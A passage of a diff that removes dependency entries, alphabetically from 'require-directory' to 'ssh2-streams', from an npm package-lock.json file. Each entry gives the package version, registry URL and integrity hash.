"sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", - "dev": true, - "optional": true, - "requires": { - "punycode": "^1.4.1" - } - } - } - }, - "require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", - "dev": true - }, - "require-from-string": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-1.2.1.tgz", - "integrity": "sha1-UpyczvJzgK3+yaL5ZbZJu+5jZBg=", - "dev": true - }, - "require-main-filename": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", - "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", - "dev": true - }, - "require-uncached": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/require-uncached/-/require-uncached-1.0.3.tgz", - "integrity": "sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=", - "dev": true, - "requires": { - "caller-path": "^0.1.0", - "resolve-from": "^1.0.0" - } - }, - "requireg": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/requireg/-/requireg-0.1.8.tgz", - "integrity": "sha512-qjbwnviLXg4oZiAFEr1ExbevkUPaEiP1uPGSoFCVgCCcbo4PXv9SmiJpXNYmgTBCZ8fY1Jy+sk7F9/kPNepeDw==", - "dev": true, - "requires": { - "nested-error-stacks": "~2.0.1", - "rc": "~1.2.7", - "resolve": "~1.7.1" - }, - "dependencies": { - "resolve": { - "version": "1.7.1", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.7.1.tgz", - "integrity": "sha512-c7rwLofp8g1U+h1KNyHL/jicrKg1Ek4q+Lr33AL65uZTinUZHe30D5HlyN5V9NW0JX1D5dXQ4jqW5l7Sy/kGfw==", - "dev": true, - "requires": { - "path-parse": "^1.0.5" - } - } - } - }, - "resolve": { - "version": "1.20.0", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.20.0.tgz", - "integrity": "sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==", - "dev": true, - "requires": { - "is-core-module": "^2.2.0", - "path-parse": "^1.0.6" - } - }, - "resolve-from": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-1.0.1.tgz", - "integrity": "sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=", - "dev": true - }, - "resolve-url": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", - "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=", - "dev": true - }, - "resq": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/resq/-/resq-1.5.0.tgz", - "integrity": "sha512-6US6oo2fQ/vgs7wBwqq1w9901Z5VEDgxQH0LrNaN8HcHUZInhtrIt1a0Icysu0vuoK26Bt+SR1dIYeR9+ftMxA==", - "dev": true, - "requires": { - "fast-deep-equal": "^2.0.1" - }, - "dependencies": { - "fast-deep-equal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", - "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", - "dev": true - } - } - }, - "restore-cursor": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", - "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", - "dev": true, - "requires": { - "onetime": "^2.0.0", - "signal-exit": "^3.0.2" - } - }, - "ret": { - "version": "0.1.15", - "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", - "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", - "dev": true - }, - "retry": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.10.1.tgz", - "integrity": "sha1-52OI0heZLCUnUCQdPTlW/tmNj/Q=", - "dev": true - }, - "rgb-regex": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/rgb-regex/-/rgb-regex-1.0.1.tgz", - "integrity": "sha1-wODWiC3w4jviVKR16O3UGRX+rrE=", - "dev": true - }, - "rgba-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/rgba-regex/-/rgba-regex-1.0.0.tgz", - "integrity": "sha1-QzdOLiyglosO8VI0YLfXMP8i7rM=", - "dev": true - }, - "right-align": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/right-align/-/right-align-0.1.3.tgz", - "integrity": "sha1-YTObci/mo1FWiSENJOFMlhSGE+8=", - "dev": true, - "requires": { - "align-text": "^0.1.1" - } - }, - "rimraf": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", - "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", - "dev": true, - "requires": { - "glob": "^7.0.5" - }, - "dependencies": { - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - } - } - }, - "ripemd160": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.1.tgz", - "integrity": "sha1-D0WEKVxTo2KK9+bXmsohzlfRxuc=", - "dev": true, - "requires": { - "hash-base": "^2.0.0", - "inherits": "^2.0.1" - } - }, - "run-async": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.3.0.tgz", - "integrity": "sha1-A3GrSuC91yDUFm19/aZP96RFpsA=", - "dev": true, - "requires": { - "is-promise": "^2.1.0" - } - }, - "run-queue": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/run-queue/-/run-queue-1.0.3.tgz", - "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", - "dev": true, - "requires": { - "aproba": "^1.1.1" - } - }, - "rx-lite": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/rx-lite/-/rx-lite-4.0.8.tgz", - "integrity": "sha1-Cx4Rr4vESDbwSmQH6S2kJGe3lEQ=", - "dev": true - }, - "rx-lite-aggregates": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/rx-lite-aggregates/-/rx-lite-aggregates-4.0.8.tgz", - "integrity": "sha1-dTuHqJoRyVRnxKwWJsTvxOBcZ74=", - "dev": true, - "requires": { - "rx-lite": "*" - } - }, - "rxjs": { - "version": "6.5.2", - "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.2.tgz", - "integrity": "sha512-HUb7j3kvb7p7eCUHE3FqjoDsC1xfZQ4AHFWfTKSpZ+sAhhz5X1WX0ZuUqWbzB2QhSLp3DoLUG+hMdEDKqWo2Zg==", - "dev": true, - "requires": { - "tslib": "^1.9.0" - } - }, - "safe-buffer": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", - "dev": true - }, - "safe-json-parse": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/safe-json-parse/-/safe-json-parse-1.0.1.tgz", - "integrity": "sha1-PnZyPjjf3aE8mx0poeB//uSzC1c=", - "dev": true - }, - "safe-regex": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", - "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", - "dev": true, - "requires": { - "ret": "~0.1.10" - } - }, - "safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "dev": true - }, - "sass-graph": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.4.tgz", - "integrity": "sha1-E/vWPNHK8JCLn9k0dq1DpR0eC0k=", - "dev": true, - "requires": { - "glob": "^7.0.0", - "lodash": "^4.0.0", - "scss-tokenizer": "^0.2.3", - "yargs": "^7.0.0" - } - }, - "sass-loader": { - "version": "6.0.7", - "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-6.0.7.tgz", - "integrity": "sha512-JoiyD00Yo1o61OJsoP2s2kb19L1/Y2p3QFcCdWdF6oomBGKVYuZyqHWemRBfQ2uGYsk+CH3eCguXNfpjzlcpaA==", - "dev": true, - "requires": { - "clone-deep": "^2.0.1", - "loader-utils": "^1.0.1", - "lodash.tail": "^4.1.1", - "neo-async": "^2.5.0", - "pify": "^3.0.0" - }, - "dependencies": { - "pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", - "dev": true - } - } - }, - "sax": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", - "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", - "dev": true - }, - "schema-utils": { - "version": "0.4.5", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.5.tgz", - "integrity": "sha512-yYrjb9TX2k/J1Y5UNy3KYdZq10xhYcF8nMpAW6o3hy6Q8WSIEf9lJHG/ePnOBfziPM3fvQwfOwa13U/Fh8qTfA==", - "dev": true, - "requires": { - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0" - }, - "dependencies": { - "ajv": { - "version": "6.5.1", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.1.tgz", - "integrity": "sha512-pgZos1vgOHDiC7gKNbZW8eKvCnNXARv2oqrGQT7Hzbq5Azp7aZG6DJzADnkuSq7RH6qkXp4J/m68yPX/2uBHyQ==", - "dev": true, - "requires": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.1" - } - }, - "ajv-keywords": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", - "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", - "dev": true, - "requires": {} - }, - "fast-deep-equal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", - "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", - "dev": true - }, - "json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - } - } - }, - "scss-tokenizer": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz", - "integrity": "sha1-jrBtualyMzOCTT9VMGQRSYR85dE=", - "dev": true, - "requires": { - "js-base64": "^2.1.8", - "source-map": "^0.4.2" - }, - "dependencies": { - "source-map": { - "version": "0.4.4", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", - "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", - "dev": true, - "requires": { - "amdefine": ">=0.0.4" - } - } - } - }, - "semver": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz", - "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==", - "dev": true - }, - "serialize-javascript": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-1.5.0.tgz", - "integrity": "sha512-Ga8c8NjAAp46Br4+0oZ2WxJCwIzwP60Gq1YPgU+39PiTVxyed/iKE/zyZI6+UlVYH5Q4PaQdHhcegIFPZTUfoQ==", - "dev": true - }, - "set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true - }, - "set-immediate-shim": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", - "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=", - "dev": true - }, - "set-value": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.0.tgz", - "integrity": "sha512-hw0yxk9GT/Hr5yJEYnHNKYXkIA8mVJgd9ditYZCe16ZczcaELYYcfvaXesNACk2O8O0nTiPQcQhGUQj8JLzeeg==", - "dev": true, - "requires": { - "extend-shallow": "^2.0.1", - "is-extendable": "^0.1.1", - "is-plain-object": "^2.0.3", - "split-string": "^3.0.1" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "setimmediate": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", - "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=", - "dev": true - }, - "sha.js": { - "version": "2.4.8", - "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.8.tgz", - "integrity": "sha1-NwaMLEdra69ALRSknGf1l5IfY08=", - "dev": true, - "requires": { - "inherits": "^2.0.1" - } - }, - "shallow-clone": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz", - "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==", - "dev": true, - "requires": { - "is-extendable": "^0.1.1", - "kind-of": "^5.0.0", - "mixin-object": "^2.0.1" - }, - "dependencies": { - "kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true - } - } - }, - "shasum": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/shasum/-/shasum-1.0.2.tgz", - "integrity": "sha1-5wEjENj0F/TetXEhUOVni4euVl8=", - "dev": true, - "requires": { - "json-stable-stringify": "~0.0.0", - "sha.js": "~2.4.4" - } - }, - "shebang-command": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", - "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", - "dev": true, - "requires": { - "shebang-regex": "^1.0.0" - } - }, - "shebang-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", - "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", - "dev": true - }, - "shell-quote": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.6.1.tgz", - "integrity": "sha1-9HgZSczkAmlxJ0MOo7PFR29IF2c=", - "dev": true, - "requires": { - "array-filter": "~0.0.0", - "array-map": "~0.0.0", - "array-reduce": "~0.0.0", - "jsonify": "~0.0.0" - } - }, - "shelljs": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.3.0.tgz", - "integrity": "sha1-NZbmMHp4FUT1kfN9phg2DzHbV7E=", - "dev": true - }, - "shx": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/shx/-/shx-0.2.2.tgz", - "integrity": "sha1-CjBNAgsO3xMGrYFXDoDwNG31ijk=", - "dev": true, - "requires": { - "es6-object-assign": "^1.0.3", - "minimist": "^1.2.0", - "shelljs": "^0.7.3" - }, - "dependencies": { - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "shelljs": { - "version": "0.7.8", - "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.7.8.tgz", - "integrity": "sha1-3svPh0sNHl+3LhSxZKloMEjprLM=", - "dev": true, - "requires": { - "glob": "^7.0.0", - "interpret": "^1.0.0", - "rechoir": "^0.6.2" - } - } - } - }, - "sigmund": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/sigmund/-/sigmund-1.0.1.tgz", - "integrity": "sha1-P/IfGYytIXX587eBhT/ZTQ0ZtZA=", - "dev": true - }, - "signal-exit": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", - "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=", - "dev": true - }, - "simple-concat": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.0.tgz", - "integrity": "sha1-c0TLuLbib7J9ZrL8hvn21Zl1IcY=", - "dev": true - }, - "simple-get": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-2.7.0.tgz", - "integrity": "sha512-RkE9rGPHcxYZ/baYmgJtOSM63vH0Vyq+ma5TijBcLla41SWlh8t6XYIGMR/oeZcmr+/G8k+zrClkkVrtnQ0esg==", - "dev": true, - "optional": true, - "requires": { - "decompress-response": "^3.3.0", - "once": "^1.3.1", - "simple-concat": "^1.0.0" - } - }, - "simple-swizzle": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.2.tgz", - "integrity": "sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo=", - "dev": true, - "requires": { - "is-arrayish": "^0.3.1" - }, - "dependencies": { - "is-arrayish": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.2.tgz", - "integrity": "sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==", - "dev": true - } - } - }, - "slash": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-1.0.0.tgz", - "integrity": "sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=", - "dev": true - }, - "slice-ansi": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-1.0.0.tgz", - "integrity": "sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==", - "dev": true, - "requires": { - "is-fullwidth-code-point": "^2.0.0" - }, - "dependencies": { - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - } - } - }, - "snapdragon": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", - "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", - "dev": true, - "requires": { - "base": "^0.11.1", - "debug": "^2.2.0", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "map-cache": "^0.2.2", - "source-map": "^0.5.6", - "source-map-resolve": "^0.5.0", - "use": "^3.1.0" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "snapdragon-node": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", - "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", - "dev": true, - "requires": { - "define-property": "^1.0.0", - "isobject": "^3.0.0", - "snapdragon-util": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - }, - "kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true - } - } - }, - "snapdragon-util": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", - "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", - "dev": true, - "requires": { - "kind-of": "^3.2.0" - } - }, - "sort-keys": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", - "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=", - "dev": true, - "requires": { - "is-plain-obj": "^1.0.0" - } - }, - "source-list-map": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.0.tgz", - "integrity": "sha1-qqR0A/eyRakvvJfqCPJQ1gh+0IU=", - "dev": true - }, - "source-map": { - "version": "0.5.6", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.6.tgz", - "integrity": "sha1-dc449SvwczxafwwRjYEzSiu19BI=", - "dev": true - }, - "source-map-resolve": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.2.tgz", - "integrity": "sha512-MjqsvNwyz1s0k81Goz/9vRBe9SZdB09Bdw+/zYyO+3CuPk6fouTaxscHkgtE8jKvf01kVfl8riHzERQ/kefaSA==", - "dev": true, - "requires": { - "atob": "^2.1.1", - "decode-uri-component": "^0.2.0", - "resolve-url": "^0.2.1", - "source-map-url": "^0.4.0", - "urix": "^0.1.0" - } - }, - "source-map-support": { - "version": "0.4.18", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.18.tgz", - "integrity": "sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==", - "dev": true, - "requires": { - "source-map": "^0.5.6" - } - }, - "source-map-url": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz", - "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=", - "dev": true - }, - "spdx-correct": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz", - "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", - "dev": true, - "requires": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-exceptions": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.1.0.tgz", - "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==", - "dev": true - }, - "spdx-expression-parse": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", - "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", - "dev": true, - "requires": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-license-ids": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.0.tgz", - "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==", - "dev": true - }, - "split-string": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", - "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", - "dev": true, - "requires": { - "extend-shallow": "^3.0.0" - } - }, - "sprintf-js": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", - "dev": true - }, - "ssh2": { - "version": "0.4.15", - "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.4.15.tgz", - "integrity": "sha1-B8b0EG2fe26m5N9jbGxT8fmBf/g=", - "dev": true, - "requires": { - "readable-stream": "~1.0.0", - "ssh2-streams": "~0.0.22" - }, - "dependencies": { - "isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true - }, - "readable-stream": { - "version": "1.0.34", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", - "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - } - } - }, - "ssh2-streams": { - "version": "0.0.23", - "resolved": 